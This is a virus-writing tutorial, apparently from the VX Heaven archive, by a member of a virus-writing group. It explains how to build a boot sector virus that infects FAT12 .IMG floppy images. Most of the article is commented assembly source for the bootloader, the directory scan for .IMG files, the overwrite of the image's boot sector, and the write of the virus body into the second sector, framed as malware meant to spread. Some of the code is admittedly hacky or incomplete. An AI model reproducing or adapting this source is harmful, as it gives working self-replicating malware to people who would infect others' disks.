Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

New era of bootsectorviruses #1: FAT12 IMG infection at Disks

SPTH
Ready Rangers Liberation Front [6]
January 2005

[Back to index] [Comments]

Index

  1. Intro
  2. Theory / Idea
  3. Bootloader
  4. Root_Directory
  5. Find infectable files
  6. The Infection
  7. Last words

0) Intro

Bootsector viruses were the first form of computerviruses. They were most widespread from the beginning of computerviruses until December 1995 (according to VirusBulletin). But then, Macroviruses (CAP, ColdApe, ...), Scriptviruses (Kak, LoveLetter, ...) and finally Win32 viruses (Sircam, Klez, Mydoom, Netsky, ...) were even more widespread, and the production of bootsectorviruses decreased to nearly zero. A reason for that could be, that it's damn hard (if not impossible) writing a bootsectorvirus, which stays in memory while the OS (Windows) loads. How did the old bootsector viruses work? When booting from an infected Disk, such a virus first infects the MBR (Master Boot Record) of the HD and the bootsector of the first partition. Then it stays in memory, let the OS load processing, and hooks (most times?) INT 0x21 for checking Disk access. OK, and what the hell will be the different between the old style of bootsector infectors and my once? My idea is to infect the Images of Disks/HDs/CD-ROMs. For that we don't need the INT 0x21, because we use our own File System driver (in this article here FAT12). For writing our own File System driver it's of course nessecary to fully understand how the system works. For my first article about new bootsectorviruses I'm using FAT12, because it's the most easy of all as far as I know. As FAT12 is just used for DISK, the article is just about .IMG file infection. IMG files are 1:1 images of Disks. As you may know, I wanted to infect CD-ROM Bootsectors, but that did not work with Disks, because ISO or NRI files are at least 2MB as far as I know. Anyway, let's start with FAT12 IMG bootsector infectors, next time let's move to CD-ROMs, ok? :D

1) Theory / Idea

The virus we will write is a Bootinfector for IMG files. Well, how should that work? When A user boots from an infected Disk, the bootloader in the first sector (bootsector) will load the rest of the virus (here it's just one more sector). The virus will read the Root_Directory, find .IMG files, check if they are FAT12 files with the right size, and then infect the them. Nothing difficult you may think? Haa, let's go on...

2) Bootloader

What shall our bootloader can? Of course, changing the important values, that the processor can even work with the code. Then? Loading the second sector of the Disk, which contains our virus, and then run it. There is one more important thing you have to notice: The FAT12 System Information (is that the correct name? i don't know) at offset 0x4 of the 1st sector. If you don't have this informations in your bootsector, the disk won't be able to save/read/write/create/run/whatever files. Well, everything should be understandable, now let's move to the source. The source is commented, so everything else will be explained by comments:

Bootloader - Source

        org 0x7c00                              ; The Bootsector will be loaded at offset 0x7c00
stfat:                                          ; Start of Bootsector
 jmp             start                          ; Jump over FAT12 Table
 nop                                            ; NOP, because jmp=3 byte, FAT-Table starts at 0x4
 db 0x4D,0x53,0x44,0x4F,0x53,0x35,0x2E,0x30
 db 0x00,0x02,0x01,0x01,0x00,0x02,0xE0,0x00     ; This is the FAT Table of an formated Disk.
 db 0x40,0x0B,0xF0,0x09,0x00,0x12,0x00,0x02     ; At this point a big thanks to Microsoft :)
 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00     ; And big thanks to Hexeditor!
 db 0x00,0x00,0x00,0x29,0x8C,0x22,0x2F,0x7C
 db 0x4E,0x4F,0x20,0x4E,0x41,0x4D,0x45,0x20
 db 0x20,0x20,0x20,0x46,0x41,0x54,0x31,0x32
 db 0x20,0x20,0x20


start:
        cli                                     ; No Interrupts
        mov     ax,0x9000                       ; Offset of Stack, which we create now.
        mov     ss, ax                          ; As we can't change ss directly, we use ax.
        mov     sp, 0                           ; Stackpointer
        sti                                     ; Allow Interrupts

        mov     [bootdrv], dl                   ; Save bootdisk

loada:
        push    ds                              ; Save DS
        mov     ax, 0                           ; RESET DISK SYSTEM
        mov     dl, [bootdrv]                   ; drive (if bit 7 is set both hard disks and floppy disks reset)
        int     0x13                            ; Interrupt 0x13
        pop     ds                              ; Restore DS
        jc      loada                           ; If carry, again!


load1:                                          ; Let's read the second sector (virus)
        mov     ax, 0x1000                      ; Data will be saved in memory at ES:BX
        mov     es, ax                          ; ES=0x1000
        mov     bx, 0                           ; BX=0
        mov     ah, 0x2                         ; READ SECTOR(S) INTO MEMORY
        mov     al, 0x1                         ; number of sectors to read
        mov     cx, 2                           ; CL=Start at sectornummer (2), CH=Cylinder Number
        mov     dx, 0                           ; Head/Drive number=0
        int     0x13                            ; Interrupt 0x13
        jc      load1                           ; If carry, again!

        mov     ax, 0x1000                      ; AX=0x1000
        mov     es, ax                          ; Extra Segment=0x1000
        mov     ds, ax                          ; Data Segment=0x1000
        push    ax                              ; AX to Stack
        mov     ax, 0                           ; AX=0
        push    ax                              ; AX to Stack. Stack now looks like that: 0x1000 0x0000
        retf                                    ; Jump to 32 bit value from Stack: Offset of virus

        bootdrv db 0                            ; 1 Byte buffer for Bootdrive

ende:
        times (512-(ende-stfat)-2) db 0         ; Rest of the Sector sub 2 = 0 (last 2 byte are boot-marks)
        dw 0xAA55                               ; Bootmarks. If you dont use them, BIOS dont boot from that Disk
 

This bootloader, started from a Disk, loads the second physical sector of the disk to the memory at offset 0x1000. The bootloader also creats a stack at the offset 0x9000. Everything should be clear now I think. A big 'Thank you!' for the bootloader information goes to mastermesh (a hobby-OS coder). Thanks for your article in LowLevel#1!

3) Root_Directory

The Root_Directory is the first directory of the Disk. Normally (always?), the Root_Directory starts at the 20th sector (Head=1/Sector=1). Here files are saved. A file entry contains 0x20 (32) bytes. To understand the 32 byte, let's look at the following table:

OffsetLengthName
0x0 11 ByteDIR_Name
0xB 1 ByteDIR_Attribute
0xC 1 ByteDIR_NTRes
0xD 1 ByteDIR_CrtTimeTenth
0xE 2 ByteDIR_CrtTime
0x10 2 ByteDIR_CrtDate
0x12 2 ByteDIR_LstAccDate
0x14 2 ByteDIR_FstClusHi
0x16 2 ByteDIR_WrtTime
0x18 2 ByteDIR_WrtDate
0x1A 2 ByteDIR_FstClustLo
0x1C 4 ByteDIR_FileSize
DIR_Name
This value contains the Filename of the entry. I dont speak about long because we dont need them. If the first byte of the DIR_Name=0x0, then it's the end of the entries. If the first byte of DIR_Name=0xE5, then it's a deleted file. If the 3rd byte=0x0, then we also ignore it (some thing with long filename). Important for us is, that the last 3 bytes (starts at 0x8) are the fileextansion. The filenames are saved UPPER-case and WITHOUT a dot ('.') between filename and extansion. There are some more information about DIR_Name available, but it's totally unimportant for us.
DIR_Attribute
This is the Attribute Byte of the file, as you can see from the name:
0x01ATTR_READ_ONLY
0x02ATTR_HIDDEN
0x04ATTR_SYSTEM
0x08ATTR_VOLUME_ID
0x10ATTR_DIRECTORY
0x20ATTR_ARCHIVE

We just need to check, if the Byte is 0x10 (ATTR_DIRECTORY). As we can not infect a directory, we have to leave that entry.

DIR_NTRes, DIR_CrtTimeTenth, DIR_CrtTime, DIR_CrtDate, DIR_LstAccDate, DIR_FstClusHi, DIR_WrtTime, DIR_WrtDate
100% unimportant and unneccessary to explain!
DIR_FstClustLo
Here we get the number of the first data-sector of the File. But it's not the real one, we have to add the number of the first datasector to get the real one.
DIR_FileSize
The Filelength of the File. Nothing more to explain, but important for the virus.

4) Find infectable files

Now we know all the damn shit theory about it (I dont like learning the theory, praxis is better), how can we use it? What to do? First, we have to read the Root_Directory:

Read Root_Directory

        mov     ax, 0x2000      ; ax=0x2000
        mov     es, ax          ; Data will be read to ES:BX, ES=0x2000
        mov     ds, ax
        xor     bx, bx          ; BX=0x0

loadk:
        mov     ah, 0x2         ; ah=2: Read Sectors
        mov     al, 0x12        ; How many Sectors (18)
        mov     ch, 0           ; Cylinder 0
        mov     cl, 1           ; Start at sektor 1
        xor     dx, dx          ; dx=0
        inc     dh              ; Head 1
        int     0x13            ; System call
        jc      loadk           ; If carry, again

        mov     bx, 0x200       ; bx=Offset of 2nd Sector in memory
 

We have the Root_Directory now at ES:BX - 0x2000:0x200. BX is the pointer to the Root_Directory. Next step is to check, if any file is an infectable file:

Check Infectable File

fat12read:
        mov     ah, [bx]        ; ah=First byte of Filename
        cmp     ah, 0x0         ; Check if zero. If zero, it's the last entry
        je      endfat12read    ; If End, stopp reading
        cmp     ah, 0xE5        ; Check if the byte is 0xE5. If so, it's a deleted file
        je      fat12next       ; If deleted file, get next entry

        mov     al, [bx+2]      ; al=3rd letter of name
        test    al, al          ; Check if zero
        jz      fat12next       ; If zero, get next entry

        mov     ax, word [bx+8]         ; 9th and 10th Letter to ax
        cmp     ax, 'IM'                ; Check if it's 'IM'
        jne     fat12next               ; If not, no IMG file
        mov     al, byte [bx+10]        ; Move 10th letter to al
        cmp     al, 'G'                 ; Check if 10th letter='G'
        jne     fat12next               ; If not, next file

        mov     ax, word [bx+30]        ; Move second (high) word of filesize to ax
        test    ax, ax                  ; Check if zero
        jnz     fat12sizeok             ; If not zero, file has at least 128 sectors

        mov     al, byte [bx+29]        ; Move second byte of low word of filesize to ax
        cmp     al, 4                   ; Compair with 4
        jl      fat12next               ; If less than 4, file has not 2 sectors=too small for infection

        mov     al, byte [bx+11]        ; Move attribute byte to al
        and     al, 0x10                ; ???1 ???? = Directory
        test    al, al                  ; Check if zero
        jnz     fat12next               ; If not zero, it's a directory and we ignore it

        call    INFECTION               ; We have a file!!!

  fat12next:
        mov     cx, 0x2000              ; cx=0x2000
        mov     es, cx                  ; Data will be read to ES:BX, ES=0x2000
        mov     ds, cx

        add     bx, 0x20                ; Next entry
jmp  fat12read
 

If the entry was OK, we have an infectable file... nearly. We also have to check, if it's a FAT12 .IMG file. But this will be in the next chapter, because we could do it together with modiefying the first sector.

5) The infection

Now we have to read the file, then check if it's a FAT12 Image. If so, we can modiefy the bootsector (that it loads the virus) and overwriting the second sector. That's all? Yes, it is :)

Check/Modiefy 1st Sector

fat12sizeok:
        mov     ax, word [bx+25]        ; normally: 'mov ax, word [bx+26]' but that stupid shit did...
        xchg    al, ah                  ; ...not work, I dont know why and I dont want to know why. I spent...
        mov     ah, byte [bx+27]        ; ...hours of testing, but no result. Let's never ever talk again about that lines, ok?

        add     ax, 32                  ; Now we have the real 1st data-sector of the file at the disk

        xor     cx, cx                  ; ch will be the number of the Cylinder
                                        ; cl will be the number of the Sector
        xor     dx, dx                  ; dh will be the number of the Head
        call    CyHeSe                  ; Get the Cylinder, Head and Sector

        push    bx                      ; Save bx at stack

        mov     bx, 0x3000              ; ax=0x3000
        mov     es, bx                  ; Data will be read to ES:BX, ES=0x3000
        mov     ds, bx
        mov     bx, 0                   ; BX=0x0

        mov     ah, 0x2                 ; AH=2: Read Sector
        mov     al, 0x1                 ; Wir read 1 Sector
        mov     dl, 0
        int     0x13                    ; Interrupt 13

        mov     ax, word [bx+54]        ; For FAT12 it should be 'FA'
        cmp     ax, 'FA'                ; Check if 'FA'
        jne     fat12next               ; If not, get next file

        mov     ax, word [bx+57]        ; For FAT12 it should be '12'
        cmp     ax, '12'                ; Check if '12'
        jne     fat12next               ; If not, get next file

        xor     di, di                  ; di=0
        mov     ax, 0xEB3C              ; ax=2 bytes of jmp over fat12
        stosw                           ; Store AX at address ES:DI
        mov     al, 0x90                ; al = NOP
        stosb                           ; Store AL at address ES:DI

        mov     ax, 0x1000              ; AX=0x2000
        mov     ds, ax                  ; DS=0x2000
        mov     cx, 63                  ; Length of 1st sector data
        mov     si, data1stsector       ; Where the data is
        mov     di, 0x3E                ; The FAT12 at 1st sector in IMG file
        rep     movsb                   ; Move CX bytes from DS:SI to ES:DI
                                        ; Move 63 bytes from 0x1000:data1stsector to 0x3000:0x3E

        pop     bx                      ; Get bx again
        push    bx                      ; Save it again


        mov     ax, 0x2000              ; ax=0x2000
        mov     es, ax                  ; Data will be read to ES:BX, ES=0x2000
        mov     ds, ax

        mov     ax, word [bx+25]        ; normally: 'mov ax, word [bx+26]' but that stupid shit did...
        xchg    al, ah                  ; ...not work, I dont know why and I dont want to know why. I spent...
        mov     ah, byte [bx+27]        ; ...hours of testing, but no result. Let's never ever talk again about that lines, ok?

        add     ax, 32                  ; Now we have the real 1st data-sector of the file at the disk

        xor     cx, cx                  ; ch will be the number of the Cylinder
                                        ; cl will be the number of the Sector
        xor     dx, dx                  ; dh will be the number of the Head
        call    CyHeSe                  ; Get the Cylinder, Head and Sector

        mov     ax, 0x3000              ; ax=0x3000
        mov     es, ax                  ; Data will be read to ES:BX, ES=0x3000
        mov     ds, ax
        xor     bx, bx                  ; BX=0

        mov     ah, 0x3                 ; AH=3: Write Sector
        mov     al, 0x1                 ; Wir read 1 Sector
        mov     dl, 0
        int     0x13                    ; Interrupt 13

        mov     bx, 0x2000              ; ax=0x2000
        mov     es, bx                  ; Data will be read to ES:BX, ES=0x2000
        mov     ds, bx

        pop     bx                      ; Restore bx

        jmp     fat12ow2sec             ; Jmp over data


;       jmpoverfat12    db 0xEB,0x3C,0x90       ; Jmp over FAT12 at 0x0 in Sector 1
       
        data1stsector   db 0xFA,0xB8,0x00,0x90,0x8E,0xD0,0xBC,0x00,0x00,0xFB    ; This is the data after
                        db 0x88,0x16,0x7C,0x7C,0x1E,0xB8,0x00,0x00,0x8A,0x16    ; the FAT12. Starts at
                        db 0x7C,0x7C,0xCD,0x13,0x1F,0x72,0xF3,0xB8,0x00,0x10    ; offset 0x3E (62) and
                        db 0x8E,0xC0,0xBB,0x00,0x00,0xB4,0x02,0xB0,0x01,0xB9    ; has 63 byte.
                        db 0x02,0x00,0xBA,0x00,0x00,0xCD,0x13,0x72,0xEA,0xB8
                        db 0x00,0x10,0x8E,0xC0,0x8E,0xD8,0x50,0xB8,0x00,0x00
                        db 0x50,0xCB,0x00
 

Everything understandable? You can see there is a call to a function named 'CyHeSe'. I will explain: When using INT 0x13 - AH=0x2/3 (READING/WRITING) you have to give exact infors about which Sector, which Head and which Cylinder. But if we just have the Sectornumber, we have to calculate the CHS by ourself. Here is the function:

CHS

CyHeSe:
        cmp     ax, 36                          ; 36 Sectors = 1 Cylinder
        jge     BefCyHeSe                       ; If greater or equal, jmp to BefCyHeSe

        cmp     ax, 18                          ; 18 Sectors = Head1
        jl      SecCheck                        ; If less, Head=0
        mov     dh, 1                           ; Head++
        sub     ax, 18                          ; Sectors-=18
   SecCheck:
        mov     cl, al                          ; cl=Rest Sector Numbers
ret
 

Now, in the end, let's overwrite the second sector of the FAT12 Image file and we have finished our work:

Overwrite 2nd Sector

fat12ow2sec:
        mov     ax, word [bx+25]        ; normally: 'mov ax, word [bx+26]' but that stupid shit did...
        xchg    al, ah                  ; ...not work, I dont know why and I dont want to know why. I spent
        mov     ah, byte [bx+27]        ; hours of testing, but no result. Let's never ever talk again about that lines, ok?

        add     ax, 32+1                ; Now we have the real 2nd data-sector of the file at the disk

        xor     cx, cx                  ; ch will be the number of the Cylinder
                                        ; cl will be the number of the Sector
        xor     dx, dx                  ; dh will be the number of the Head
        call    CyHeSe                  ; Get the Cylinder, Head and Sector

        push    bx                      ; Save bx at stack, because it will be changed

        mov     bx, 0x1000              ; bx=0x1000
        mov     es, bx                  ; Data will be read to ES:BX, ES=0x1000
        mov     ds, bx
        mov     bx, 0                   ; BX=0x0

        mov     ah, 0x3                 ; AH=3: Write sector(s)
        mov     al, 0x1                 ; We write 1 sector
        mov     dl, 0
        int     0x13                    ; Interrupt 13

        mov     bx, 0x2000              ; bx=0x2000
        mov     es, bx                  ; Data will be read to ES:BX, ES=0x2000
        mov     ds, bx

        pop     bx                      ; Restore bx
 

Finished!!! :)

6) Last words

Woow, it's 4.32 am, and I'm still awake :) This article is the explanation of some main points of my new strange idea: 'New era of bootsectorviruses' This is, as far as I know, a really new field (infecting the bootsector of image files), and there is much more to do. Next may be ISO infection at FAT32 partition. The first CD-ROM Bootsectorvirus - doesn't it also sound like a mystery for you? Maybe we may also support NTFS or EXT2FS or other file systems? Who knows? I just know that this technique, even it's not a high-speed spreading technique, is cool for discovering and learning, and hey, do you know what you can do with the HD, if you are alone in the memory? EVERYTHING!!! :)

                                                  - - - - - - - - - - - - - - -
                                                    Second Part To Hell/[rRlf]  
                                                    www.spth.de.vu
                                                    [email protected]
                                                    written from Dec 2004 - Jan 2005

                                                    ...surrealistic viruswriter...
                                                  - - - - - - - - - - - - - - - 
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua